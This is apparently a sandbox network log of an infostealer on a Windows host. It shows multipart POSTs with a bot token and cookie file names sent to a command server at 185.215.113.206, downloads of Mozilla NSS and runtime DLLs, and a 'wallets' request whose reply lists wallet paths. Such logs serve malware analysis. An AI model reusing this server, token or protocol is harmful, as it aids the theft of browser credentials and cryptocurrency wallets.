Oct 30, 2024 11:45:25.025023937 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file"------FBKEHJEGCFBFHJJKJEHD--
Oct 30, 2024 11:45:25.813209057 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49888	185.215.113.206	80	5008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:45:34.130183935 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:45:34.130341053 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 30, 2024 11:45:35.534889936 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:35.845956087 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file"------AFCFHDHIIIECBGCAKFIJ--
Oct 30, 2024 11:45:36.614721060 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:37.148240089 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:37.427175999 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 11:45:37.427256107 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 11:45:37.427309990 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 11:45:37.427361012 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 30, 2024 11:45:37.427417040 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 30, 2024 11:45:37.427448988 CET	336	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 30, 2024 11:45:37.427486897 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Oct 30, 2024 11:45:37.427515984 CET	212	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;
Oct 30, 2024 11:45:37.427552938 CET	1236	IN	Data Raw: ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 Data Ascii: UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQ
Oct 30, 2024 11:45:37.427588940 CET	1236	IN	Data Raw: 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 Data Ascii: f%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1f
Oct 30, 2024 11:45:40.498738050 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:40.909671068 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 11:45:42.689397097 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:42.967786074 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 11:45:43.781202078 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:44.060440063 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 11:45:46.043663025 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:46.322150946 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 11:45:46.591295958 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:46.869508028 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 11:45:47.370037079 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:45:48.317984104 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:48.425304890 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="message"wallets------IJDGIIEBFCBAAAAKKEGH--
Oct 30, 2024 11:45:48.706024885 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 